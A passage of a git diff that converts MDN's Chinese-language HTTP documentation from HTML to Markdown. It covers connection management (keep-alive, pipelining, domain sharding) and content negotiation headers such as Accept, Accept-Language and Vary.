    TCP 协议握手本身就是耗费时间的,所以 TCP 可以保持更多的热连接来适应负载。短连接破坏了 TCP 具备的能力,新的冷连接降低了其性能。

    +TCP 协议握手本身就是耗费时间的,所以 TCP 可以保持更多的热连接来适应负载。短连接破坏了 TCP 具备的能力,新的冷连接降低了其性能。 -

    这是 HTTP/1.0 的默认模型 (如果没有指定 {{HTTPHeader("Connection")}} 协议头,或者是值被设置为 close)。而在 HTTP/1.1 中,只有当 {{HTTPHeader("Connection")}} 被设置为 close 时才会用到这个模型。

    +这是 HTTP/1.0 的默认模型 (如果没有指定 {{HTTPHeader("Connection")}} 协议头,或者是值被设置为 `close`)。而在 HTTP/1.1 中,只有当 {{HTTPHeader("Connection")}} 被设置为 `close` 时才会用到这个模型。 -
    -

    除非是要兼容一个非常古老的,不支持长连接的系统,没有一个令人信服的理由继续使用这个模型。

    -
    +> **备注:** 除非是要兼容一个非常古老的,不支持长连接的系统,没有一个令人信服的理由继续使用这个模型。 -

    长连接

    +## 长连接 -

    短连接有两个比较大的问题:创建新连接耗费的时间尤为明显,另外 TCP 连接的性能只有在该连接被使用一段时间后 (热连接) 才能得到改善。为了缓解这些问题,长连接 的概念便被设计出来了,甚至在 HTTP/1.1 之前。或者这被称之为一个 keep-alive 连接。

    +短连接有两个比较大的问题:创建新连接耗费的时间尤为明显,另外 TCP 连接的性能只有在该连接被使用一段时间后 (热连接) 才能得到改善。为了缓解这些问题,_长连接_ 的概念便被设计出来了,甚至在 HTTP/1.1 之前。或者这被称之为一个 _keep-alive_ 连接。 -

    一个长连接会保持一段时间,重复用于发送一系列请求,节省了新建 TCP 连接握手的时间,还可以利用 TCP 的性能增强能力。当然这个连接也不会一直保留着:连接在空闲一段时间后会被关闭 (服务器可以使用 {{HTTPHeader("Keep-Alive")}} 协议头来指定一个最小的连接保持时间)。

    +一个长连接会保持一段时间,重复用于发送一系列请求,节省了新建 TCP 连接握手的时间,还可以利用 TCP 的性能增强能力。当然这个连接也不会一直保留着:连接在空闲一段时间后会被关闭 (服务器可以使用 {{HTTPHeader("Keep-Alive")}} 协议头来指定一个最小的连接保持时间)。 -

    长连接也还是有缺点的;就算是在空闲状态,它还是会消耗服务器资源,而且在重负载时,还有可能遭受 {{glossary("DoS attack", "DoS attacks")}} 攻击。这种场景下,可以使用非长连接,即尽快关闭那些空闲的连接,也能对性能有所提升。

    +长连接也还是有缺点的;就算是在空闲状态,它还是会消耗服务器资源,而且在重负载时,还有可能遭受 {{glossary("DoS attack", "DoS attacks")}} 攻击。这种场景下,可以使用非长连接,即尽快关闭那些空闲的连接,也能对性能有所提升。 -

    HTTP/1.0 里默认并不使用长连接。把 {{HTTPHeader("Connection")}} 设置成 close 以外的其它参数都可以让其保持长连接,通常会设置为 retry-after。

    +HTTP/1.0 里默认并不使用长连接。把 {{HTTPHeader("Connection")}} 设置成 `close` 以外的其它参数都可以让其保持长连接,通常会设置为 `retry-after。` -

    在 HTTP/1.1 里,默认就是长连接的,协议头都不用再去声明它 (但我们还是会把它加上,万一某个时候因为某种原因要退回到 HTTP/1.0 呢)。

    +在 HTTP/1.1 里,默认就是长连接的,协议头都不用再去声明它 (但我们还是会把它加上,万一某个时候因为某种原因要退回到 HTTP/1.0 呢)。 -

    HTTP 流水线

    +## HTTP 流水线 -
    -

    HTTP 流水线在现代浏览器中并不是默认被启用的:

    +> **备注:** HTTP 流水线在现代浏览器中并不是默认被启用的: +> +> - Web 开发者并不能轻易的遇见和判断那些搞怪的[代理服务器](https://en.wikipedia.org/wiki/Proxy_server)的各种莫名其妙的行为。 +> - 正确的实现流水线是复杂的:传输中的资源大小,多少有效的 [RTT](https://en.wikipedia.org/wiki/Round-trip_delay_time) 会被用到,还有有效带宽,流水线带来的改善有多大的影响范围。不知道这些的话,重要的消息可能被延迟到不重要的消息后面。这个重要性的概念甚至会演变为影响到页面布局!因此 HTTP 流水线在大多数情况下带来的改善并不明显。 +> - 流水线受制于 [HOL](https://en.wikipedia.org/wiki/Head-of-line_blocking) 问题。由于这些原因,流水线已经被更好的算法给代替,如 _multiplexing_,已经用在 HTTP/2。 -
      -
    • Web 开发者并不能轻易的遇见和判断那些搞怪的代理服务器的各种莫名其妙的行为。
    • -
    • 正确的实现流水线是复杂的:传输中的资源大小,多少有效的 RTT 会被用到,还有有效带宽,流水线带来的改善有多大的影响范围。不知道这些的话,重要的消息可能被延迟到不重要的消息后面。这个重要性的概念甚至会演变为影响到页面布局!因此 HTTP 流水线在大多数情况下带来的改善并不明显。
    • -
    • 流水线受制于 HOL 问题。
    • -
    +默认情况下,[HTTP](/en/HTTP) 请求是按顺序发出的。下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。 -

    由于这些原因,流水线已经被更好的算法给代替,如 multiplexing,已经用在 HTTP/2。

    -
    +流水线是在同一条长连接上发出连续的请求,而不用等待应答返回。这样可以避免连接延迟。理论上讲,性能还会因为两个 HTTP 请求有可能被打包到一个 TCP 消息包中而得到提升。就算 HTTP 请求不断的继续,尺寸会增加,但设置 TCP 的 [MSS](https://en.wikipedia.org/wiki/Maximum_segment_size)(Maximum Segment Size) 选项,仍然足够包含一系列简单的请求。 -

    默认情况下,HTTP 请求是按顺序发出的。下一个请求只有在当前请求收到应答过后才会被发出。由于会受到网络延迟和带宽的限制,在下一个请求被发送到服务器之前,可能需要等待很长时间。

    +并不是所有类型的 HTTP 请求都能用到流水线:只有 {{glossary("idempotent")}} 方式,比如 {{HTTPMethod("GET")}}、{{HTTPMethod("HEAD")}}、{{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}} 能够被安全的重试:如果有故障发生时,流水线的内容要能被轻易的重试。 -

    流水线是在同一条长连接上发出连续的请求,而不用等待应答返回。这样可以避免连接延迟。理论上讲,性能还会因为两个 HTTP 请求有可能被打包到一个 TCP 消息包中而得到提升。就算 HTTP 请求不断的继续,尺寸会增加,但设置 TCP 的 MSS(Maximum Segment Size) 选项,仍然足够包含一系列简单的请求。

    +今天,所有遵循 HTTP/1.1 的代理和服务器都应该支持流水线,虽然实际情况中还是有很多限制:一个很重要的原因是,目前没有现代浏览器默认启用这个特性。 -

    并不是所有类型的 HTTP 请求都能用到流水线:只有 {{glossary("idempotent")}} 方式,比如 {{HTTPMethod("GET")}}、{{HTTPMethod("HEAD")}}、{{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}} 能够被安全的重试:如果有故障发生时,流水线的内容要能被轻易的重试。

    +## 域名分片 -

    今天,所有遵循 HTTP/1.1 的代理和服务器都应该支持流水线,虽然实际情况中还是有很多限制:一个很重要的原因是,目前没有现代浏览器默认启用这个特性。

    +> **备注:** 除非你有紧急而迫切的需求,不要使用这一过时的技术,升级到 HTTP/2 就好了。在 HTTP/2 里,做域名分片就没必要了:HTTP/2 的连接可以很好的处理并发的无优先级的请求。域名分片甚至会影响性能。大多数 HTTP/2 的实现还会使用一种称作[连接凝聚](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/)的技术去尝试合并被分片的域名。 -

    域名分片

    +作为 HTTP/1.x 的连接,请求是序列化的,哪怕本来是无序的,在没有足够庞大可用的带宽时,也无从优化。一个解决方案是,浏览器为每个域名建立多个连接,以实现并发请求。曾经默认的连接数量为 2 到 3 个,现在比较常用的并发连接数已经增加到 6 条。如果尝试大于这个数字,就有触发服务器 DoS 保护的风险。 -
    -

    除非你有紧急而迫切的需求,不要使用这一过时的技术,升级到 HTTP/2 就好了。在 HTTP/2 里,做域名分片就没必要了:HTTP/2 的连接可以很好的处理并发的无优先级的请求。域名分片甚至会影响性能。大多数 HTTP/2 的实现还会使用一种称作连接凝聚的技术去尝试合并被分片的域名。

    -
    +如果服务器端想要更快速的响应网站或应用程序的应答,它可以迫使客户端建立更多的连接。例如,不要在同一个域名下获取所有资源,假设有个域名是 `www.example.com`,我们可以把它拆分成好几个域名:`www1.example.com`、`www2.example.com`、`www3.example.com`。所有这些域名都指向同一台服务器,浏览器会同时为每个域名建立 6 条连接 (在我们这个例子中,连接数会达到 18 条)。这一技术被称作域名分片。 -

    作为 HTTP/1.x 的连接,请求是序列化的,哪怕本来是无序的,在没有足够庞大可用的带宽时,也无从优化。一个解决方案是,浏览器为每个域名建立多个连接,以实现并发请求。曾经默认的连接数量为 2 到 3 个,现在比较常用的并发连接数已经增加到 6 条。如果尝试大于这个数字,就有触发服务器 DoS 保护的风险。

    +![](httpsharding.png) -

    如果服务器端想要更快速的响应网站或应用程序的应答,它可以迫使客户端建立更多的连接。例如,不要在同一个域名下获取所有资源,假设有个域名是 www.example.com,我们可以把它拆分成好几个域名:www1.example.comwww2.example.comwww3.example.com。所有这些域名都指向同一台服务器,浏览器会同时为每个域名建立 6 条连接 (在我们这个例子中,连接数会达到 18 条)。这一技术被称作域名分片。

    +## 结论 -

    - -

    结论

    - -

    改进后的连接管理极大的提升了 HTTP 的性能。不管是 HTTP/1.1 还是 HTTP/1.0,使用长连接 – 直到进入空闲状态 – 都能达到最佳的性能。然而,解决流水线故障需要设计更先进的连接管理模型,HTTP/2 已经在尝试了。

    +改进后的连接管理极大的提升了 HTTP 的性能。不管是 HTTP/1.1 还是 HTTP/1.0,使用长连接 – 直到进入空闲状态 – 都能达到最佳的性能。然而,解决流水线故障需要设计更先进的连接管理模型,HTTP/2 已经在尝试了。 diff --git a/files/zh-cn/web/http/content_negotiation/index.md b/files/zh-cn/web/http/content_negotiation/index.md index 1762fa317fd60a..8700c04f068461 100644 --- a/files/zh-cn/web/http/content_negotiation/index.md +++ b/files/zh-cn/web/http/content_negotiation/index.md @@ -5,143 +5,109 @@ tags: - 内容协商 translation_of: Web/HTTP/Content_negotiation --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 协议中,内容协商是这样一种机制,通过为同一 URI 指向的资源提供不同的展现形式,可以使用户代理选择与用户需求相适应的最佳匹配(例如,文档使用的自然语言,图片的格式,或者内容编码形式)。

    +在 [HTTP](/zh-CN/docs/Glossary/HTTP) 协议中,内容协商是这样一种机制,通过为同一 URI 指向的资源提供不同的展现形式,可以使用户代理选择与用户需求相适应的最佳匹配(例如,文档使用的自然语言,图片的格式,或者内容编码形式)。 -
    -

    注意:HTTP 内容协商的一些不好的地方在这篇文章中有介绍a wiki page from WHATWG,HTML5 提供其他的选择来进行内容协商,如<source> element

    -
    +> **备注:** 注意:HTTP 内容协商的一些不好的地方在这篇文章中有介绍[a wiki page from WHATWG](https://wiki.whatwg.org/wiki/Why_not_conneg),HTML5 提供其他的选择来进行内容协商,如[`` element](/zh-CN/docs/Web/HTML/Element/source)。 -

    内容协商的基本原则

    +## 内容协商的基本原则 -

    一份特定的文件称为一项资源。当客户端获取资源的时候,会使用其对应的 URL 发送请求。服务器通过这个 URL 来选择它指向的资源的某一变体——每一个变体称为一种展现形式——然后将这个选定的展现形式返回给客户端。整个资源,连同它的各种展现形式,共享一个特定的 URL 。当一项资源被访问的时候,特定展现形式的选取是通过内容协商机制来决定的,并且客户端和服务器端之间存在多种协商方式。

    +一份特定的文件称为一项资源。当客户端获取资源的时候,会使用其对应的 URL 发送请求。服务器通过这个 URL 来选择它指向的资源的某一变体——每一个变体称为一种展现形式——然后将这个选定的展现形式返回给客户端。整个资源,连同它的各种展现形式,共享一个特定的 URL 。当一项资源被访问的时候,特定展现形式的选取是通过内容协商机制来决定的,并且客户端和服务器端之间存在多种协商方式。 -

    +![](httpnego.png) -

    最佳展现形式的选取可以通过两种机制实现:

    +最佳展现形式的选取可以通过两种机制实现: -
      -
    • 客户端设置特定的 HTTP 首部 (又称为服务端驱动型内容协商机制或者主动协商机制);这是进行内容协商的标准方式;
    • -
    • 服务器返回 {{HTTPStatus("300")}} (Multiple Choices) 或者 {{HTTPStatus("406")}} (Not Acceptable) HTTP 状态码 (又称为代理驱动型协商机制或者响应式协商机制);这种方式一般用作备选方案。
    • -
    +- 客户端设置特定的 [HTTP 首部](/zh-CN/docs/Web/HTTP/Headers) (又称为服务端驱动型内容协商机制或者主动协商机制);这是进行内容协商的标准方式; +- 服务器返回 {{HTTPStatus("300")}} (Multiple Choices) 或者 {{HTTPStatus("406")}} (Not Acceptable) [HTTP 状态码](/zh-CN/docs/Web/HTTP/Status) (又称为代理驱动型协商机制或者响应式协商机制);这种方式一般用作备选方案。 -

    随着时间的推移,也有其他一些内容协商的提案被提出来,比如透明内容协商以及 Alternates 首部。但是它们都没有获得人们的认可从而被遗弃。

    +随着时间的推移,也有其他一些内容协商的提案被提出来,比如透明内容协商以及 Alternates 首部。但是它们都没有获得人们的认可从而被遗弃。 -

    服务端驱动型内容协商机制

    +## 服务端驱动型内容协商机制 -

    在服务端驱动型协商机制或者主动协商机制中,浏览器(或者其他任何类型的用户代理)会随同 URL 发送一系列的消息头。这些消息头描述了用户倾向的选择。服务器则以此为线索,通过内部算法来选择最佳方案提供给客户端。相关算法与具体的服务器相关,并没有在规范中进行规定。例如这里有一份 Apache 2.2 服务器的内容协商算法

    +在服务端驱动型协商机制或者主动协商机制中,浏览器(或者其他任何类型的用户代理)会随同 URL 发送一系列的消息头。这些消息头描述了用户倾向的选择。服务器则以此为线索,通过内部算法来选择最佳方案提供给客户端。相关算法与具体的服务器相关,并没有在规范中进行规定。例如这里有一份 [Apache 2.2 服务器的内容协商算法](http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm)。 -

    +![](httpnegoserver.png) -

    HTTP/1.1 规范指定了一系列的标准消息头用于启动服务端驱动型内容协商 ({{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Charset")}}、 {{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Language")}})。尽管严格来说 {{HTTPHeader("User-Agent")}} 并不在此列,有时候它还是会被用来确定给客户端发送的所请求资源的特定展现形式,不过这种做法不提倡使用。服务器会使用 {{HTTPHeader("Vary")}} 消息头来说明实际上哪些消息头被用作内容协商的参考依据(确切来说是与之相关的响应消息头),这样可以使缓存的运作更有效。

    +HTTP/1.1 规范指定了一系列的标准消息头用于启动服务端驱动型内容协商 ({{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Charset")}}、 {{HTTPHeader("Accept-Encoding")}}、{{HTTPHeader("Accept-Language")}})。尽管严格来说 {{HTTPHeader("User-Agent")}} 并不在此列,有时候它还是会被用来确定给客户端发送的所请求资源的特定展现形式,不过这种做法不提倡使用。服务器会使用 {{HTTPHeader("Vary")}} 消息头来说明实际上哪些消息头被用作内容协商的参考依据(确切来说是与之相关的响应消息头),这样可以使[缓存](/zh-CN/docs/Web/HTTP/Caching)的运作更有效。 -

    除此之外,有一个建议向可供选择的列表中增加更多的消息头的实验性提案,称为“客户端示意”(client hints)。客户端示意机制可以告知运行用户代理的设备类型(例如,是桌面计算机还是移动设备)。

    +除此之外,有一个建议向可供选择的列表中增加更多的消息头的实验性提案,称为“客户端示意”(client hints)。客户端示意机制可以告知运行用户代理的设备类型(例如,是桌面计算机还是移动设备)。 -

    即便服务端驱动型内容协商机制是最常用的对资源特定展现形式进行协商的方式,它存在如下几个缺点:

    +即便服务端驱动型内容协商机制是最常用的对资源特定展现形式进行协商的方式,它存在如下几个缺点: -
      -
    • 服务器对浏览器并非全知全能。即便是有了客户端示意扩展,也依然无法获取关于浏览器能力的全部信息。与客户端进行选择的代理驱动型内容协商机制不同,服务器端的选择总是显得有点武断。
    • -
    • 客户端提供的信息相当冗长(HTTP/2 协议的首部压缩机制缓解了这个问题),并且存在隐私风险(HTTP 指纹识别技术)。
    • -
    • 因为给定的资源需要返回不同的展现形式,共享缓存的效率会降低,而服务器端的实现会越来越复杂。
    • -
    +- 服务器对浏览器并非全知全能。即便是有了客户端示意扩展,也依然无法获取关于浏览器能力的全部信息。与客户端进行选择的代理驱动型内容协商机制不同,服务器端的选择总是显得有点武断。 +- 客户端提供的信息相当冗长(HTTP/2 协议的首部压缩机制缓解了这个问题),并且存在隐私风险(HTTP 指纹识别技术)。 +- 因为给定的资源需要返回不同的展现形式,共享缓存的效率会降低,而服务器端的实现会越来越复杂。 -

    Accept 首部

    +### `Accept` 首部 -

    {{HTTPHeader("Accept")}} 首部列举了用户代理希望接收的媒体资源的 MIME 类型。其中不同的 MIME 类型之间用逗号分隔,同时每一种 MIME 类型会配有一个品质因数(quality factor),该参数明确了不同 MIME 类型之间的相对优先级。

    +{{HTTPHeader("Accept")}} 首部列举了用户代理希望接收的媒体资源的 MIME 类型。其中不同的 MIME 类型之间用逗号分隔,同时每一种 MIME 类型会配有一个品质因数(quality factor),该参数明确了不同 MIME 类型之间的相对优先级。 -

    {{HTTPHeader("Accept")}} 首部的值由浏览器或其他类型的用户代理确定,并且会由于上下文环境的不同而不同,比如在获取 HTML 页面、图片文件、视频文件或者是脚本文件的时候,无论是通过在地址栏中输入资源地址来获取还是通过 {{ HTMLElement("img") }}、{{ HTMLElement("video") }} 或 {{ HTMLElement("audio") }} 元素引用都是不一样的。浏览器可以自由使用它们认为最为合适的首部值;这里有一份常见浏览器 Accept 首部默认值的完整列表。

    +{{HTTPHeader("Accept")}} 首部的值由浏览器或其他类型的用户代理确定,并且会由于上下文环境的不同而不同,比如在获取 HTML 页面、图片文件、视频文件或者是脚本文件的时候,无论是通过在地址栏中输入资源地址来获取还是通过 {{ HTMLElement("img") }}、{{ HTMLElement("video") }} 或 {{ HTMLElement("audio") }} 元素引用都是不一样的。浏览器可以自由使用它们认为最为合适的首部值;这里有一份[常见浏览器 Accept 首部默认值](/zh-CN/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values)的完整列表。 -

    Accept-CH 首部{{experimental_inline}}

    +### `Accept-CH` 首部{{experimental_inline}} -
    -

    这是被称为“客户端示意”(Client Hints)的实验性技术方案的一部分,目前仅在 Chrome 46 及以后的版本中得到了实现。

    -
    +> **备注:** 这是被称为“客户端示意”(Client Hints)的**实验性**技术方案的一部分,目前仅在 Chrome 46 及以后的版本中得到了实现。 -

    该实验性首部 {{HTTPHeader("Accept-CH")}} 列出了服务器可以用来选择合适响应的配置数据。合法值如下:

    +该实验性首部 {{HTTPHeader("Accept-CH")}} 列出了服务器可以用来选择合适响应的配置数据。合法值如下: - - - - - - - - - - - - - - - - - - - - - - - - - -
    ValueMeaning
    Device-Memory标明客户端设备的 RAM 内存大小。该值是个估计值,设备的实际内存值会向 2 的次方取整,且除以 1024。比如 512MB 的内存对应的值为 0.5。
    DPR标明客户端所在设备的像素比率。
    Viewport-Width标明用 CSS 像素数值表示的布局视口(layout viewport)宽度。
    Width标明用物理像素值表示的资源宽度(换句话说就是一张图片的固有大小)。
    +| Value | Meaning | +| ---------------- | -------------------------------------------------------------------------------------------------------------------------------- | +| `Device-Memory` | 标明客户端设备的 RAM 内存大小。该值是个估计值,设备的实际内存值会向 2 的次方取整,且除以 1024。比如 512MB 的内存对应的值为 0.5。 | +| `DPR` | 标明客户端所在设备的像素比率。 | +| `Viewport-Width` | 标明用 CSS 像素数值表示的布局视口(layout viewport)宽度。 | +| `Width` | 标明用物理像素值表示的资源宽度(换句话说就是一张图片的固有大小)。 | -

    Accept-Charset 首部

    +### `Accept-Charset` 首部 -

    {{HTTPHeader("Accept-Charset")}}首部用于告知服务器该客户代理可以理解何种形式的字符编码。按照传统,不同地区用户使用的的浏览器会被赋予不同的值,比如说西欧地区用户使用的浏览器中,该首部的值可能会是 ISO-8859-1,utf-8;q=0.7,*;q=0.7

    +{{HTTPHeader("Accept-Charset")}}首部用于告知服务器该客户代理可以理解何种形式的字符编码。按照传统,不同地区用户使用的的浏览器会被赋予不同的值,比如说西欧地区用户使用的浏览器中,该首部的值可能会是 `ISO-8859-1,utf-8;q=0.7,*;q=0.7` 。 -

    如今 UTF-8 编码已经得到了广泛的支持,成为首选的字符编码类型,为了通过减少基于配置信息的信息熵来更好地保护隐私信息, 大多数浏览器会将 Accept-Charset 首部移除:Internet Explorer 8、Safari 5、Opera 11 以及 Firefox 10 都已经不再发送该首部。

    +如今 UTF-8 编码已经得到了广泛的支持,成为首选的字符编码类型,[为了通过减少基于配置信息的信息熵来更好地保护隐私信息](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy), 大多数浏览器会将 Accept-Charset 首部移除:Internet Explorer 8、Safari 5、Opera 11 以及 Firefox 10 都已经不再发送该首部。 -

    Accept-CH-Lifetime 首部{{experimental_inline}}

    +### `Accept-CH-Lifetime` 首部{{experimental_inline}} -
    -

    这是被称为“客户端示意”(Client Hints)的实验性技术方案的一部分,目前仅在 Chrome 61 及以后的版本中得到了实现。

    -
    +> **备注:** 这是被称为“客户端示意”(Client Hints)的**实验性**技术方案的一部分,目前仅在 Chrome 61 及以后的版本中得到了实现。 -

    该实验性首部 {{HTTPHeader("Accept-CH-Lifetime")}} 与 Accept-CH 首部中的 Device-Memory 值一同使用,标明设备应该与服务器共享指定大小的内存的时间。单位为毫秒。该首部为可选的。

    +该实验性首部 {{HTTPHeader("Accept-CH-Lifetime")}} 与 Accept-CH 首部中的 Device-Memory 值一同使用,标明设备应该与服务器共享指定大小的内存的时间。单位为毫秒。该首部为可选的。 -

    Accept-Encoding 首部

    +### `Accept-Encoding` 首部 -

    {{HTTPHeader("Accept-Encoding")}} 首部明确说明了(接收端)可以接受的内容编码形式(所支持的压缩算法)。该首部的值是一个 Q 因子清单(例如 br, gzip;q=0.8),用来提示不同编码类型值的优先级顺序。默认值 identity 则优先级最低(除非声明为其他优先级)。

    +{{HTTPHeader("Accept-Encoding")}} 首部明确说明了(接收端)可以接受的内容编码形式(所支持的压缩算法)。该首部的值是一个 Q 因子清单(例如 br, gzip;q=0.8),用来提示不同编码类型值的优先级顺序。默认值 identity 则优先级最低(除非声明为其他优先级)。 -

    将 HTTP 消息进行压缩是一种最重要的提升 Web 站点性能的方法。该方法会减小所要传输的数据量的大小,节省可用带宽。浏览器总是会发送该首部,服务器则应该配置为接受它,并且采用一定的压缩方案。

    +将 HTTP 消息进行压缩是一种最重要的提升 Web 站点性能的方法。该方法会减小所要传输的数据量的大小,节省可用带宽。浏览器总是会发送该首部,服务器则应该配置为接受它,并且采用一定的压缩方案。 -

    Accept-Language 首部

    +### `Accept-Language` 首部 -

    {{HTTPHeader("Accept-Language")}} 首部用来提示用户期望获得的自然语言的优先顺序。该首部的值是一个 Q 因子清单(例如 "de, en;q=0.7")。用户代理的图形界面上所采用的语言通常可以用来设置为默认值,但是大多数浏览器允许设置不同优先级的语言选项。

    +{{HTTPHeader("Accept-Language")}} 首部用来提示用户期望获得的自然语言的优先顺序。该首部的值是一个 Q 因子清单(例如 "de, en;q=0.7")。用户代理的图形界面上所采用的语言通常可以用来设置为默认值,但是大多数浏览器允许设置不同优先级的语言选项。 -

    由于基于配置信息的信息熵的增加,修改后的值可以用作识别用户的指纹,所以不建议对其进行修改,不过这样的话 Web 站点也就不能依赖该值来揭示用户的真实期望。站点设计者不能过度热衷于通过这个首部来进行语言检测,因为它可能会导致糟糕的用户体验:

    +由于[基于配置信息的信息熵](https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy)的增加,修改后的值可以用作识别用户的指纹,所以不建议对其进行修改,不过这样的话 Web 站点也就不能依赖该值来揭示用户的真实期望。站点设计者不能过度热衷于通过这个首部来进行语言检测,因为它可能会导致糟糕的用户体验: -
      -
    • 站点设计者应该总是提供一种方式来使用户能够覆盖由服务器端选择的语言,例如在页面上提供一个用于语言选择的按钮。大多数用户代理会为 Accept-Language 首部提供一个默认值,该值采用的是用户界面的显示的语言,通常终端用户不能对其进行修改,或者是不知道该怎么修改,或者是无法进行修改,例如在网络咖啡厅里的情形。
    • -
    • 一旦用户覆盖了服务器端选择的语言选项,站点就不应该再使用语言检测技术,而应该忠于明确选择的语言选项。换句话说,只有站点的入口页面应该使用这个首部来选择合适的语言。
    • -
    +- 站点设计者应该总是提供一种方式来使用户能够覆盖由服务器端选择的语言,例如在页面上提供一个用于语言选择的按钮。大多数用户代理会为 Accept-Language 首部提供一个默认值,该值采用的是用户界面的显示的语言,通常终端用户不能对其进行修改,或者是不知道该怎么修改,或者是无法进行修改,例如在网络咖啡厅里的情形。 +- 一旦用户覆盖了服务器端选择的语言选项,站点就不应该再使用语言检测技术,而应该忠于明确选择的语言选项。换句话说,只有站点的入口页面应该使用这个首部来选择合适的语言。 -

    User-Agent 首部

    +### `User-Agent` 首部 -
    -

    尽管使用该首部来进行内容选择是合理的,但是依赖这个首部来确定用户代理都支持哪些功能特性通常被认为是一个糟糕的做法

    -
    +> **备注:** 尽管使用该首部来进行内容选择是合理的,但是依赖这个首部来确定用户代理都支持哪些功能特性通常[被认为是一个糟糕的做法](/zh-CN/docs/Web/HTTP/Browser_detection_using_the_user_agent)。 -

    {{HTTPHeader("User-Agent")}} 首部可以用来识别发送请求的浏览器。该字符串中包含有用空格间隔的产品标记符注释的清单。

    +{{HTTPHeader("User-Agent")}} 首部可以用来识别发送请求的浏览器。该字符串中包含有用空格间隔的**产品标记符**及**注释**的清单。 -

    产品标记符由产品名称、后面紧跟的 '/' 以及产品版本号构成,例如 Firefox/4.0.1 。用户代理可以随意添加多少产品标记符都可以。注释是一个用括号分隔的自由形式的字符串。显然括号本身不能用在该字符串中。规范没有规定注释的内部格式,不过一些浏览器会把一些标记符放置在里面,不同的标记符之间使用 ';' 分隔。

    +**产品标记符**由产品名称、后面紧跟的 '/' 以及产品版本号构成,例如 Firefox/4.0.1 。用户代理可以随意添加多少产品标记符都可以。**注释**是一个用括号分隔的自由形式的字符串。显然括号本身不能用在该字符串中。规范没有规定注释的内部格式,不过一些浏览器会把一些标记符放置在里面,不同的标记符之间使用 ';' 分隔。 -

    Vary 响应首部

    +### `Vary` 响应首部 -

    与前面列举的 Accept-* 形式的由客户端发送的首部相反,{{HTTPHeader("Vary")}} 首部是由服务器在响应中发送的。它标示了服务器在服务端驱动型内容协商阶段所使用的首部清单。这个首部是必要的,它可以用来通知缓存服务器决策的依据,这样它可以进行复现,使得缓存服务器在预防将错误内容提供给用户方面发挥作用。

    +与前面列举的 Accept-\* 形式的由客户端发送的首部相反,{{HTTPHeader("Vary")}} 首部是由服务器在响应中发送的。它标示了服务器在服务端驱动型内容协商阶段所使用的首部清单。这个首部是必要的,它可以用来通知缓存服务器决策的依据,这样它可以进行复现,使得缓存服务器在预防将错误内容提供给用户方面发挥作用。 -

    特殊值 '*' 意味着在服务端驱动型内容协商过程中同时采纳了未在首部中传递的信息来选择合适的内容。

    +特殊值 '\*' 意味着在服务端驱动型内容协商过程中同时采纳了未在首部中传递的信息来选择合适的内容。 -

    Vary 首部是在 HTTP 协议的 1.1 版本中新添加的,而为了使缓存服务器恰当地工作,这个首部是必要的。缓存服务器为了能够与服务端驱动型内容协商机制协同工作,需要知道服务器选择传送内容的决策依据。这样的话,缓存服务器就可以重复该算法,直接提供恰当的内容,而不需要向服务器发送更多的请求。显然,通配符 '*' 阻碍了缓存机制发挥作用,因为缓存服务器并不知道该通配符究竟指代哪些元素。

    +Vary 首部是在 HTTP 协议的 1.1 版本中新添加的,而为了使缓存服务器恰当地工作,这个首部是必要的。缓存服务器为了能够与服务端驱动型内容协商机制协同工作,需要知道服务器选择传送内容的决策依据。这样的话,缓存服务器就可以重复该算法,直接提供恰当的内容,而不需要向服务器发送更多的请求。显然,通配符 '\*' 阻碍了缓存机制发挥作用,因为缓存服务器并不知道该通配符究竟指代哪些元素。 -

    代理驱动型内容协商机制

    +## 代理驱动型内容协商机制 -

    服务端驱动型内容协商机制由于一些缺点而为人诟病——它在规模化方面存在问题。在协商机制中,每一个特性需要对应一个首部。如果想要使用屏幕大小、分辨率或者其他方面的特性,就需要创建一个新的首部。而且在每一次请求中都必须发送这些首部。在首部很少的时候,这并不是问题,但是随着数量的增多,消息体的体积会导致性能的下降。带有精确信息的首部发送的越多,信息熵就会越大,也就准许了更多 HTTP 指纹识别行为,以及与此相关的隐私问题的发生。

    +服务端驱动型内容协商机制由于一些缺点而为人诟病——它在规模化方面存在问题。在协商机制中,每一个特性需要对应一个首部。如果想要使用屏幕大小、分辨率或者其他方面的特性,就需要创建一个新的首部。而且在每一次请求中都必须发送这些首部。在首部很少的时候,这并不是问题,但是随着数量的增多,消息体的体积会导致性能的下降。带有精确信息的首部发送的越多,信息熵就会越大,也就准许了更多 HTTP 指纹识别行为,以及与此相关的隐私问题的发生。 -

    从 HTTP 协议制定之初,该协议就准许另外一种协商机制:代理驱动型内容协商机制,或称为响应式协商机制。在这种协商机制中,当面临不明确的请求时,服务器会返回一个页面,其中包含了可供选择的资源的链接。资源呈现给用户,由用户做出选择。

    +从 HTTP 协议制定之初,该协议就准许另外一种协商机制:代理驱动型内容协商机制,或称为响应式协商机制。在这种协商机制中,当面临不明确的请求时,服务器会返回一个页面,其中包含了可供选择的资源的链接。资源呈现给用户,由用户做出选择。 -

    +![](httpnego3.png) -

    不幸的是,HTTP 标准没有明确指定提供可选资源链接的页面的格式,这一点阻碍了将这一过程无痛自动化。除了退回至服务端驱动型内容协商机制外,这种自动化方法几乎无一例外都是通过脚本技术来完成的,尤其是 JavaScript 重定向技术:在检测了协商的条件之后,脚本会触发重定向动作。另外一个问题是,为了获得实际的资源,需要额外发送一次请求,减慢了将资源呈现给用户的速度。

